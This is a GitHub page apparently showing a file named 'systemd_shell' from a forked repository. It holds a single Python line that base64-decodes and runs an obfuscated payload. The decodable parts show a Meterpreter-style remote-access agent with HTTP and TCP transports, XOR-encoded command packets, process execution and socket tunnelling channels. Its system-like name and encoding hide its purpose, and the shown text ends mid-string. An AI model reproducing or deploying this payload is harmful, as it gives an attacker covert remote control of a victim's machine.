forked from xia33F/cp21
-
Notifications
You must be signed in to change notification settings - Fork 0
/
systemd_shell
1 lines (1 loc) · 70.2 KB
/
systemd_shell
1
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IGJpbmFzY2lpCmltcG9ydCBjb2RlCmltcG9ydCBvcwppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHJhbmRvbQppbXBvcnQgcmUKaW1wb3J0IHNlbGVjdAppbXBvcnQgc29ja2V0CmltcG9ydCBzdHJ1Y3QKaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHN5cwppbXBvcnQgdGhyZWFkaW5nCmltcG9ydCB0aW1lCmltcG9ydCB0cmFjZWJhY2sKCnRyeToKICAgIGltcG9ydCBjdHlwZXMKZXhjZXB0IEltcG9ydEVycm9yOgogICAgaGFzX3dpbmRsbCA9IEZhbHNlCmVsc2U6CiAgICBoYXNfd2luZGxsID0gaGFzYXR0cihjdHlwZXMsICd3aW5kbGwnKQoKdHJ5OgogICAgdXJsbGliX2ltcG9ydHMgPSBbJ1Byb3h5SGFuZGxlcicsICdSZXF1ZXN0JywgJ2J1aWxkX29wZW5lcicsICdpbnN0YWxsX29wZW5lcicsICd1cmxvcGVuJ10KICAgIGlmIHN5cy52ZXJzaW9uX2luZm9bMF0gPCAzOgogICAgICAgIHVybGxpYiA9IF9faW1wb3J0X18oJ3VybGxpYjInLCBmcm9tbGlzdD11cmxsaWJfaW1wb3J0cykKICAgIGVsc2U6CiAgICAgICAgdXJsbGliID0gX19pbXBvcnRfXygndXJsbGliLnJlcXVlc3QnLCBmcm9tbGlzdD11cmxsaWJfaW1wb3J0cykKZXhjZXB0IEltcG9ydEVycm9yOgogICAgaGFzX3VybGxpYiA9IEZhbHNlCmVsc2U6CiAgICBoYXNfdXJsbGliID0gVHJ1ZQoKaWYgc3lzLnZlcnNpb25faW5mb1swXSA8IDM6CiAgICBpc19zdHI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CmRlZiBjcmMxNihkYXRhKToKICAgIHBvbHkgPSAweDEwMjEKICAgIHJlZyA9IDB4MDAwMAogICAgaWYgaXNfc3RyKGRhdGEpOgogICAgICAgIGRhdGEgPSBsaXN0KG1hcChvcmQsIGRhdGEpKQogICAgZWxpZiBpc19ieXRlcyhkYXRhKToKICAgICAgICBkYXRhID0gbGlzdChkYXRhKQogICAgZGF0YS5hcHBlbmQoMCkKICAgIGRhdGEuYXBwZW5kKDApCiAgICBmb3IgYnl0ZSBpbiBkYXRhOgogICAgICAgIG1hc2sgPSAweDgwCiAgICAgICAgd2hpbGUgbWFzayA+IDA6CiAgICAgICAgICAgIHJlZyA8PD0gMQogICAgICAgICAgICBpZiBieXRlICYgbWFzazoKICAgICAgICAgICAgICAgIHJlZyArPSAxCiAgICAgICAgICAgIG1hc2sgPj49IDEKICAgICAgICAgICAgaWYgcmVnID4gMHhmZmZmOgogICAgICAgICAgICAgICAgcmVnICY9IDB4ZmZmZgogICAgICAgICAgICAgICAgcmVnIF49IHBvbHkKICAgIHJldHVybiByZWcKCkBleHBvcnQKZGVmIGRlYnVnX3ByaW50KG1zZyk6CiAgICBpZiBERUJVR0dJTkc6CiAgICAgICAgcHJpbnQobXNnKQoKQGV4cG9ydApkZWYgZGVidWdfdHJhY2ViYWNrKG1zZz1Ob25lKToKICAgIGlmIERFQlVHR0lORzoKICAgICAgICBpZiBtc2c6CiAgICAgICAgICAgIHByaW50KG1zZykKICAgICAgICB0cmFjZWJhY2sucHJpbnRfZXhjKGZpbGU9c3lzLnN0ZGVycikKCkBleHBvcnQKZGVmIGVycm9yX3Jlc3VsdChleGNlcHRpb249Tm9uZSk6CiAgICBpZiBub3QgZXhjZXB0aW9uOgogICAgICAgIF8sIGV4Y2VwdGlvbiwgXyA9IHN5cy5leGNfaW5mbygpCiAgICBleGNlcHRpb25fY3JjID0gY3JjMTYoZXhjZXB0aW9uLl9fY2xhc3NfXy5fX25hbWVfXykKICAgIGlmIGV4Y2VwdGlvbl9jc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UVUQV9UWVBFX1NUUklORykgPT0gVExWX01FVEFfVFlQRV9TVFJJTkc6CiAgICAgICAgICAgICAgICB2YWwgPSBzdHIodmFsLnNwbGl0KE5VTExfQllURSwgMSlbMF0pCiAgICAgICAgICAgIGVsaWYgKHRsdlsxXSAmIFRMVl9NRVRBX1RZUEVfVUlOVCkgPT0gVExWX01FVEFfVFlQRV9VSU5UOgogICAgICAgICAgICAgICAgdmFsID0gc3RydWN0LnVucGFjaygnPkknLCB2YWwpWzBdCiAgICAgICAgICAgIGVsaWYgKHRsdlsxXSAmIFRMVl9NRVRBX1RZUEVfUVdPUkQpID09IFRMVl9NRVRBX1RZUEVfUVdPUkQ6CiAgICAgICAgICAgICAgICB2YWwgPSBzdHJ1Y3QudW5wYWNrKCc+UScsIHZhbClbMF0KICAgICAgICAgICAgZWxpZiAodGx2WzFdICYgVExWX01FVEFfVFlQRV9CT09MKSA9PSBUTFZfTUVUQV9UWVBFX0JPT0w6CiAgICAgICAgICAgICAgICB2YWwgPSBib29sKHN0cnVjdC51bnBhY2soJ2InLCB2YWwpWzBdKQogICAgICAgICAgICBlbGlmICh0bHZbMV0gJiBUTFZfTUVUQV9UWVBFX1JBVykgPT0gVExWX01FVEFfVFlQRV9SQVc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIHlpZWxkIHsndHlwZSc6IHRsdlsxXSwgJ2xlbmd0aCc6IHRsdlswXSwgJ3ZhbHVlJzogdmFsfQogICAgICAgIG9mZnNldCArPSB0bHZbMF0KICAgIHJldHVybgoKQGV4cG9ydApkZWYgcGFja2V0X2dldF90bHYocGt0LCB0bHZfdHlwZSk6CiAgICB0cnk6CiAgICAgICAgdGx2ID0gbGlzdChwYWNrZXRfZW51bV90bHZzKHBrdCwgdGx2X3R5cGUpKVswXQogICAgZXhjZXB0IEluZGV4RXJyb3I6CiAgICAgICAgcmV0dXJuIHt9CiAgICByZXR1cm4gdGx2CgpAZXhwb3J0CmRlZiB0bHZfcGFjaygqYXJnc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gVE9ETzogd2UnbGwgYWRkIGVuY3J5cHRpb24gc29vbiEKICAgICAgICB4b3Jfa2V5ID0gcmFuZF94b3Jfa2V5KCkKICAgICAgICByYXcgPSBiaW5hc2NpaS5hMmJfaGV4KGJ5dGVzKFNFU1NJT05fR1VJRCwgJ1VURi04JykpICsgc3RydWN0LnBhY2soJz5JJywgRU5DX05PTkUpICsgcGt0CiAgICAgICAgcmVzdWx0ID0gc3RydWN0LnBhY2soJ0JCQkInLCAqeG9yX2tleSkgKyB4b3JfYnl0ZXMoeG9yX2tleSwgcmF3KQogICAgICAgIHJldHVybiByZXN1bHQKCiAgICBkZWYgc2VuZF9wYWNrZXQoc2VsZiwgcGt0KToKICAgICAgICBwa3QgPSBzdHJ1Y3QucGFjaygnPkknLCBsZW4ocGt0KSArIDQpICsgcGt0CiAgICAgICAgc2VsZi5yZXF1ZXN0X3JldGlyZSA9IEZhbHNlCiAgICAgICAgdHJ5OgogICAgICAgICAgICBzZWxmLl9zZW5kX3BhY2tldChzZWxmLmVuY3J5cHRfcGFja2V0KHBrdCkpCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBkZWJ1Z190cmFjZWJhY2soKQogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLmNvbW11bmljYXRpb25fbGFzdCA9IHRpbWUudGltZSgpCiAgICAgICAgcmV0dXJuIFRydWUKCiAgICBkZWYgdGx2X3BhY2tfdGltZW91dHMoc2VsZik6CiAgICAgICAgcmVzcG9uc2UgID0gdGx2X3BhY2soVExWX1RZUEVfVFJBTlNfQ09NTV9USU1FT1VULCBzZWxmLmNvbW11bmljYXRpb25fdGltZW91dCkKICAgICAgICByZXNwb25zZSArPSB0bHZfcGFjayhUTFZfVFlQRV9UUkFOU19SRVRSWV9UT1RBTCwgc2VsZi5yZXRyeV90b3RhbCkKICAgICAgICByZXNwb25zZSArPSB0bHZfcGFjayhUTFZfVFlQRV9UUkFOU19SRVRSWV9XQUlULCBzZWxmLnJldHJ5X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XQgPSBOb25lCiAgICAgICAgcGFja2V0ID0gc2VsZi5fZ2V0X3BhY2tldCgpCiAgICAgICAgaWYgcGFja2V0IGlzIE5vbmU6CiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIHNlbGYuX2ZpcnN0X3BhY2tldCA9IHBhY2tldAogICAgICAgIHJldHVybiBUcnVlCgogICAgZGVmIF9nZXRfcGFja2V0KHNlbGYpOgogICAgICAgIGlmIHNlbGYuX2ZpcnN0X3BhY2tldDoKICAgICAgICAgICAgcGFja2V0ID0gc2VsZi5fZmlyc3RfcGFja2V0CiAgICAgICAgICAgIHNlbGYuX2ZpcnN0X3BhY2tldCA9IE5vbmUKICAgICAgICAgICAgcmV0dXJuIHBhY2tldAogICAgICAgIHBhY2tldCA9IE5vbmUKICAgICAgICB4b3Jfa2V5ID0gTm9uZQogICAgICAgIHJlcXVlc3QgPSB1cmxsaWIuUmVxdWVzdChzZWxmLnVybCwgTm9uZSwgc2VsZi5faHR0cF9yZXF1ZXN0X2hlYWRlcnMpCiAgICAgICAgdHJ5OgogICAgICAgICAgICB1cmxfaCA9IHVybGxpYi51cmxvcGVuKHJlcXVlc3QsIHRpbWVvdXQ9c2VsZi5jb21tdW5pY2F0aW9uX3RpbWVvdXQpCiAgICAgICAgICAgIHBhY2tldCA9IHVybF9oLnJlYWQoKQogICAgICAgICAgICBmb3IgXyBpbiByYW5nZSgxKToKICAgICAgICAgICAgICAgIGlmIHBhY2tldCA9PSAnJzoKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgaWYgbGVuKHBhY2tldCkgPCBQQUNLRVRfSEVBREVSX1NJWkU6CiAgICAgICAgICAgICAgICAgICAgcGFja2V0ID0gTm9uZSAgIyBsb29rcyBjb3JydXB0CiAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIHhvcl9rZXkgPSBzdHJ1Y3QudW5wYWNrKCdCQkJCJywgcGFja2V0WzpQQUNLRVRfWE9SX0tFW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dXJsbGliLnVybG9wZW4ocmVxdWVzdCwgdGltZW91dD1zZWxmLmNvbW11bmljYXRpb25fdGltZW91dCkKICAgICAgICByZXNwb25zZSA9IHVybF9oLnJlYWQoKQoKICAgIGRlZiBwYXRjaF91cmlfcGF0aChzZWxmLCBuZXdfcGF0aCk6CiAgICAgICAgbWF0Y2ggPSByZS5tYXRjaChyJ2h0dHBzPzovL1teL10rKC8uKiQpJywgc2VsZi51cmwpCiAgICAgICAgaWYgbWF0Y2ggaXMgTm9uZToKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgc2VsZi51cmwgPSBzZWxmLnVybFs6bWF0Y2guc3BhbigxKVswXV0gKyBuZXdfcGF0aAogICAgICAgIHJldHVybiBUcnVlCgogICAgZGVmIHRsdl9wYWNrX3RyYW5zcG9ydF9ncm91cChzZWxmKToKICAgICAgICB0cmFuc19ncm91cCAgPSBzdXBlcihIdHRwVHJhbnNwb3J0LCBzZWxmKS50bHZfcGFja190cmFuc3BvcnRfZ3JvdXAoKQogICAgICAgIGlmIHNlbGYudXNlcl9hZ2VudDoKICAgICAgICAgICAgdHJhbnNfZ3JvdXAgKz0gdGx2X3BhY2soVExWX1RZUEVfVFJBTlNfVUEsIHNlbGYudXNlcl9hZ2VudCkKICAgICAgICBpZiBzZWxmLnByb3h5OgogICAgICAgICAgICB0cmFuc19ncm91cCArPSB0bHZfcGFjayhUTFZfVFlQRV9UUkFOU19QUk9YWV9IT1NULCBzZWxmLnByb3h5KQogICAgICAgIHJldHVybiB0cmFuc19ncm91cAoKY2xhc3MgVGNwVHJhbnNwb3J0KFRyYW5zcG9ydCk6CiAgICBkZWYgX19pbml0X18oc2VsZiwgdXJsLCBzb2NrZXQ9Tm9uZSk6CiAgICAgICAgc3VwZXIoVGNwVHJhbnNwb3J0LCBzZWxmKS5fX2luaXRfXygpCiAgICAgICAgc2VsZi51cmwgPSB1cmwKICAgICAgICBzZWxmLnNvY2tldCA9IHNvY2tldAogICAgICAgIHNlbGYuX2NsZWFudXBfdGhyZWFkID0gTm9uZQogICAgICAgIHNlbGYuX2ZpcnN0X3BhY2tldCA9IFRydWUKCiAgICBkZWYgX3NvY2tfY2xlYW51cChzZWxmLCBzb2NrKToKICAgICAgICByZW1haW5pbmdfdGltZSA9IHNlbGYuY29tbXVuaWNhdGlvbl90aW1lb3V0CiAgICAgICAgd2hpbGUgcmVtYWluaW5nX3RpbWUgPiAwOgogICAgICAgICAgICBpdGVyX3N0YXJ0X3RpbWUgPSB0aW1lLnRpbWUoKQogICAgICAgICAgICBpZiBzZWxlY3Quc2VsZWN0KFtzb2NrXSwgW10sIFtdLCByZW1haW5pbmdfdGltZSlbMF06CiAgICAgICAgICAgICAgICBpZiBsZW4oc29jay5yZWN2KDQwOTYpKSA9PSAwOgogICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIHJlbWFpbmluZ190aW1lIC09IHRpbWUudGltZSgpIC0gaXRlcl9zdGFydF90aW1lCiAgICAgICAgc29jay5jbG9zZSgpCgogICAgZGVmIF9hY3RpdmF0ZShzZWxmKToKICAgICAgICBhZGRyZXNzLCBwb3J0ID0gc2VsZi51cmxbNjpdLnJzcGxpdCgnOicsIDEpCiAgICAgICAgcG9ydCA9IGludChwb3J0LnJzdHJpcCgnLycpKQogICAgICAgIHRpbWVvdXQgPSBtYXgoc2VsZi5jb21tdW5pY2F0aW9uX3RpbWVvdXQsIDMwKQogICAgICAgIGlmIGFkZHJlc3MgaW4gKCcnLCAnMC4wLjAuMCcsICc6OicpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBzZXJ2ZXJfc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQ2LCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgICAgICBzZXJ2ZXJfc29jay5zZXRzb2Nrb3B0KHNvY2tldC5JUFBST1RPX0lQVjYsIHNvY2tldC5JUFY2X1Y2T05MWSwgMCkKICAgICAgICAgICAgZXhjZXB0IChBdHRyaWJ1dGVFcnJvciwgc29ja2V0LmVycm9yKToKICAgICAgICAgICAgICAgIHNlcnZlcl9zb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgICAgICBzZXJ2ZXJfc29jay5iaW5kKCgnJywgcG9ydCkpCiAgICAgICAgICAgIHNlcnZlcl9zb2NrLmxpc3RlbigxKQogICAgICAgICAgICBpZiBub3Qgc2VsZWN0LnNlbGVjdChbc2VydmVyX3NvY2tdLCBbXSwgW10sIHRpbWVvdXQpWzBdOgogICAgICAgICAgICAgICAgc2VydmVyX3NvY2suY2xvc2UoKQogICAgICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgICAgIHNvY2ssIF8gPSBzZXJ2ZXJfc29jay5hY2NlcHQoKQogICAgICAgICAgICBzZXJ2ZXJfc29jay5jbG9zZSgpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgaWYgJzonIGluIGFkZHJlc3M6CiAgICAgICAgICAgICAgICBzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVDYsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHNvY2suc2V0dGltZW91dCh0aW1lb3V0KQogICAgICAgICAgICBzb2NrLmNvbm5lY3QoKGFkZHJlc3MsIHBvcnQpKQogICAgICAgICAgICBzb2NrLnNldHRpbWVvdXQoTm9uZSkKICAgICAgICBzZWxmLnNvY2tldCA9IHNvY2sKICAgICAgICBzZWxmLl9maXJzdF9wYWNrZXQgPSBUcnVlCiAgICAgICAgcmV0dXJuIFRydWUKCiAgICBkZWYgX2RlYWN0aXZhdGUoc2VsZik6CiAgICAgICAgY2xlYW51cCA9IHRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXNlbGYuX3NvY2tfY2xlYW51cCwgYXJncz0oc2VsZi5zb2NrZXQsKSkKICAgICAgICBjbGVhbnVwLnJ1bigpCiAgICAgICAgc2VsZi5zb2NrZXQgPSBOb25lCgogICAgZGVmIF9nZXRfcGFja2V0KHNlbGYpOgogICAgICAgIGZpcnN0ID0gc2VsZi5fZmlyc3RfcGFja2V0CiAgICAgICAgc2VsZi5fZmlyc3RfcGFja2V0ID0gRmFsc2UKICAgICAgICBpZiBub3Qgc2VsZWN0LnNlbGVjdChbc2VsZi5zb2NrZXRdLCBbXSwgW10sIDAuNSlbMF06CiAgICAgICAgICAgIHJldHVybiBieXRlcygpCiAgICAgICAgcGFja2V0ID0gc2VsZi5zb2NrZXQucmVjdihQQUNLRVRfSEVBREVSX1NJWkUpCiAgICAgICAgaWYgcGFja2V0ID09ICcnOiAgIyByZW1vdGUgaXMgY2xvc2VkCiAgICAgICAgICAgIHNlbGYucmVxdWVzdF9yZXRpcmUgPSBUcnVlCiAgICAgICAgICAgIHJldHVybiBOb25lCiAgICAgICAgaWYgbGVuKHBhY2tldCkgIT0gUEFDS0VUX0hFQURFUl9TSVpFOgogICAgICAgICAgICBpZiBmaXJzdCBhbmQgbGVuKHBhY2tldCkgPT0gNDoKICAgICAgICAgICAgICAgIHJlY2VpdmVkID0gMAogICAgICAgICAgICAgICAgaGVhZGVyID0gcGFja2V0Wzo0XQogICAgICAgICAgICAgICAgcGt0X2xlbmd0aCA9IHN0cnVjdC51bnBhY2soJz5JJywgaGVhZGVyKVswXQogICAgICAgICAgICAgICAgc2VsZi5zb2NrZXQuc2V0dGltZW91dChtYXgoc2VsZi5jb21tdW5pY2F0aW9uX3RpbWVvdXQsIDMwKSkKICAgICAgICAgICAgICAgIHdoaWxlIHJlY2VpdmVkIDwgcGt0X2xlbmd0aDoKICAgICAgICAgICAgICAgICAgICByZWNlaXZlZCArPSBsZW4oc2VsZi5zb2NrZXQucmVjdihwa3RfbGVuZ3RoIC0gcmVjZWl2ZWQpKQogICAgICAgICAgICAgICAgc2VsZi5zb2NrZXQuc2V0dGltZW91dChOb25lKQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbGYuX2dldF9wYWNrZXQoKQogICAgICAgICAgICByZXR1cm4gTm9uZQoKICAgICAgICB4b3Jfa2V5ID0gc3RydWN0LnVucGFjaygnQkJCQicsIHBhY2tldFs6UEFDS0VUX1hPUl9LRVlfU0laRV0pCiAgICAgICAgIyBYT1IgdGhlIHdob2xlIGhlYWRlciBmaXJzdAogICAgICAgIGhlYWRlciA9IHhvcl9ieXRlcyh4b3Jfa2V5LCBwYWNrZXRbOlBBQ0tFVF9IRUFERVJfU0laRV0pCiAgICAgICAgIyBFeHRyYWN0IGp1c3QgdGhlIGxlbmd0aAogICAgICAgIHBrdF9sZW5ndGggPSBzdHJ1Y3QudW5wYWNrKCc+SScsIGhlYWRlcltQQUNLRVRfTEVOR1RIX09GRjpQQUNLRVRfTEVOR1RIX09GRitQQUNLRVRfTEVOR1RIX1NJWkVdKVswXQogICAgICAgIHBrdF9sZW5ndGggLT0gOAogICAgICAgICMgUmVhZCB0aGUgcmVzdCBvZiB0aGUgcGFja2V0CiAgICAgICAgcmVzdCA9IGJ5dGVzKCkKICAgICAgICB3aGlsZSBsZW4ocmVzdCkgPCBwa3RfbGVuZ3RoOgogICAgICAgICAgICByZXN0ICs9IHNlbGYuc29ja2V0LnJlY3YocGt0X2xlbmd0aCAtIGxlbihyZXN0KSkKICAgICAgICAjIHJldHVybiB0aGUgd2hvbGUgcGFja2V0LCBhcyBpdCdzIGRlY29kZWQgc2VwYXJhdGVseQogICAgICAgIHJldHVybiBwYWNrZXQgKyByZXN0CgogICAgZGVmIF9zZW5kX3BhY2tldChzZWxmLCBwYWNrZXQpOgogICAgICAgIHNlbGYuc29ja2V0LnNlbmQocGFja2V0KQoKICAgIEBjbGFzc21ldGhvZAogICAgZGVmIGZyb21fc29ja2V0KGNscywgc29jayk6CiAgICAgICAgdXJsID0g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AxCiAgICAgICAgcmV0dXJuIHNlbGYudHJhbnNwb3J0c1tuZXdfaWR4XQoKICAgIGRlZiBydW4oc2VsZik6CiAgICAgICAgd2hpbGUgc2VsZi5ydW5uaW5nIGFuZCBub3Qgc2VsZi5zZXNzaW9uX2hhc19leHBpcmVkOgogICAgICAgICAgICByZXF1ZXN0ID0gc2VsZi5nZXRfcGFja2V0KCkKICAgICAgICAgICAgaWYgcmVxdWVzdDoKICAgICAgICAgICAgICAgIHJlc3BvbnNlID0gc2VsZi5jcmVhdGVfcmVzcG9uc2UocmVxdWVzdCkKICAgICAgICAgICAgICAgIGlmIHJlc3BvbnNlOgogICAgICAgICAgICAgICAgICAgIHNlbGYuc2VuZF9wYWNrZXQocmVzcG9uc2UpCiAgICAgICAgICAgICAgICBpZiBzZWxmLl90cmFuc3BvcnRfc2xlZXA6CiAgICAgICAgICAgICAgICAgICAgc2VsZi50cmFuc3BvcnQuZGVhY3RpdmF0ZSgpCiAgICAgICAgICAgICAgICAgICAgdGltZS5zbGVlcChzZWxmLl90cmFuc3BvcnRfc2xlZXApCiAgICAgICAgICAgICAgICAgICAgc2VsZi5fdHJhbnNwb3J0X3NsZWVwID0gTm9uZQogICAgICAgICAgICAgICAgICAgIGlmIG5vdCBzZWxmLnRyYW5zcG9ydC5hY3RpdmF0ZSgpOgogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLnRyYW5zcG9ydF9jaGFuZ2UoKQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICMgaXRlcmF0ZSBvdmVyIHRoZSBrZXlzIGJlY2F1c2Ugc2VsZi5jaGFubmVscyBjb3VsZCBiZSBtb2RpZmllZCBpZiBvbmUgaXMgY2xvc2VkCiAgICAgICAgICAgIGNoYW5uZWxfaWRzID0gbGlzdChzZWxmLmNoYW5uZWxzLmtleXMoKSkKICAgICAgICAgICAgZm9yIGNoYW5uZWxfaWQgaW4gY2hhbm5lbF9pZHM6CiAgICAgICAgICAgICAgICBjaGFubmVsID0gc2VsZi5jaGFubmVsc1tjaGFubmVsX2lkXQogICAgICAgICAgICAgICAgZGF0YSA9IGJ5dGVzKCkKICAgICAgICAgICAgICAgIHdyaXRlX3JlcXVlc3RfcGFydHMgPSBbXQogICAgICAgICAgICAgICAgaWYgaXNpbnN0YW5jZShjaGFubmVsLCBNZXRlcnByZXRlclByb2Nlc3MpOgogICAgICAgICAgICAgICAgICAgIGlmIG5vdCBjaGFubmVsX2lkIGluIHNlbGYuaW50ZXJhY3RfY2hhbm5lbHM6CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgcHJvY19oID0gY2hhbm5lbC5wcm9jX2gKICAgICAgICAgICAgICAgICAgICBpZiBwcm9jX2guc3RkZXJyX3JlYWRlci5pc19yZWFkX3JlYWR5KCk6CiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBwcm9jX2guc3RkZXJyX3JlYWRlci5yZWFkKCkKICAgICAgICAgICAgICAgICAgICBlbGlmIHByb2NfaC5zdGRvdXRfcmVhZGVyLmlzX3JlYWRfcmVhZHkoKToKICAgICAgICAgICAgICAgICAgICAgICAgZGF0YSA9IHByb2NfaC5zdGRvdXRfcmVhZGVyLnJlYWQoKQogICAgICAgICAgICAgICAgICAgIGVsaWYgbm90IGNoYW5uZWwuaXNfYWxpdmUoKToKICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi5oYW5kbGVfZGVhZF9yZXNvdXJjZV9jaGFubmVsKGNoYW5uZWxfaWQpCiAgICAgICAgICAgICAgICBlbGlmIGlzaW5zdGFuY2UoY2hhbm5lbCwgTWV0ZXJwcmV0ZXJTb2NrZXRUQ1BDbGllbnQpOgogICAgICAgICAgICAgICAgICAgIHdoaWxlIHNlbGVjdC5zZWxlY3QoW2NoYW5uZWwuZmlsZW5vKCldLCBbXSwgW10sIDApWzBdOgogICAgICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkID0gY2hhbm5lbC5yZWFkKDEpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBzb2NrZXQuZXJyb3I6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkID0gYnl0ZXMoKQogICAgICAgICAgICAgICAgICAgICAgICBpZiBsZW4oZCkgPT0gMDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYuaGFuZGxlX2RlYWRfcmVzb3VyY2VfY2hhbm5lbChjaGFubmVsX2lkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICAgICAgZGF0YSArPSBkCiAgICAgICAgICAgICAgICBlbGlmIGlzaW5zdGFuY2UoY2hhbm5lbCwgTWV0ZXJwcmV0ZXJTb2NrZXRUQ1BTZXJ2ZXIpOgogICAgICAgICAgICAgICAgICAgIGlmIHNlbGVjdC5zZWxlY3QoW2NoYW5uZWwuZmlsZW5vKCldLCBbXSwgW10sIDApWzBdOgogICAgICAgICAgICAgICAgICAgICAgICAoY2xpZW50X3NvY2ssIGNsaWVudF9hZGRyKSA9IGNoYW5uZWwuc29jay5hY2NlcHQoKQogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJfYWRkciA9IGNoYW5uZWwuc29jay5nZXRzb2NrbmFtZSgpCiAgICAgICAgICAgICAgICAgICAgICAgIGNsaWVudF9jaGFubmVsX2lkID0gc2VsZi5hZGRfY2hhbm5lbChNZXRlcnByZXRlclNvY2tldFRDUENsaWVudChjbGllbnRfc29jaykpCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYuc2VuZF9wYWNrZXQodGx2X3BhY2tfcmVxdWVzdCgndGNwX2NoYW5uZWxfb3BlbicsIFsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsndHlwZSc6IFRMVl9UWVBFX0NIQU5ORUxfSUQsICd2YWx1ZSc6IGNsaWVudF9jaGFubmVsX2lkfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsndHlwZSc6IFRMVl9UWVBFX0NIQU5ORUxfUEFSRU5USUQsICd2YWx1ZSc6IGNoYW5uZWxfaWR9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeyd0eXBlJzogVExWX1RZUEVfTE9DQUxfSE9TVCwgJ3ZhbHVlJzogaW5ldF9wdG9uKGNoYW5uZWwuc29jay5mYW1pbHksIHNlcnZlcl9hZGRyWzBdKX0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7J3R5cGUnOiBUTFZfVFlQRV9MT0NBTF9QT1JULCAndmFsdWUnOiBzZXJ2ZXJfYWRkclsxXX0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7J3R5cGUnOiBUTFZfVFlQRV9QRUVSX0hPU1QsICd2YWx1ZSc6IGluZXRfcHRvbihjbGllbnRfc29jay5mYW1pbHksIGNsaWVudF9hZGRyWzBdKX0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7J3R5cGUnOiBUTFZfVFlQRV9QRUVSX1BPUlQsICd2YWx1ZSc6IGNsaWVudF9hZGRyWzFdfSwKICAgICAgICAgICAgICAgICAgICAgICAgXSkpCiAgICAgICAgICAgICAgICBlbGlmIGlzaW5zdGFuY2UoY2hhbm5lbCwgTWV0ZXJwcmV0ZXJTb2NrZXRVRFBDbGllbnQpOgogICAgICAgICAgICAgICAgICAgIGlmIHNlbGVjdC5zZWxlY3QoW2NoYW5uZWwuZmlsZW5vKCldLCBbXSwgW10sIDApWzBdOgogICAgICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLCBwZWVyX2FkZHJlc3MgPSBjaGFubmVsLnNvY2sucmVjdmZyb20oNjU1MzUpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBzb2NrZXQuZXJyb3I6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWxmLmhhbmRsZV9kZWFkX3Jlc291cmNlX2NoYW5uZWwoY2hhbm5lbF9pZCkKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdyaXRlX3JlcXVlc3RfcGFydHMuZXh0ZW5kKFsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7J3R5cGUnOiBUTFZfVFlQRV9QRUVSX0hPU1QsICd2YWx1ZSc6IHBlZXJfYWRkcmVzc1swXX0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyd0eXBlJzogVExWX1RZUEVfUEVFUl9QT1JULCAndmFsdWUnOiBwZWVyX2FkZHJlc3NbMV19LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgXSkKICAgICAgICAgICAgICAgIGlmIGRhdGE6CiAgICAgICAgICAgICAgICAgICAgd3JpdGVfcmVxdWVzdF9wYXJ0cy5leHRlbmQoWwogICAgICAgICAgICAgICAgICAgICAgICB7J3R5cGUnOiBUTFZfVFlQRV9DSEFOTkVMX0lELCAndmFsdWUnOiBjaGFubmVsX2lkfSwKICAgICAgICAgICAgICAgICAgICAgICAgeyd0eXBlJzogVExWX1RZUEVfQ0hBTk5FTF9EQVRBLCAndmFsdWUnOiBkYXRhfSwKICAgICAgICAgICAgICAgICAgICAgICAgeyd0eXBlJzogVExWX1RZUEVfTEVOR1RILCAndmFsdW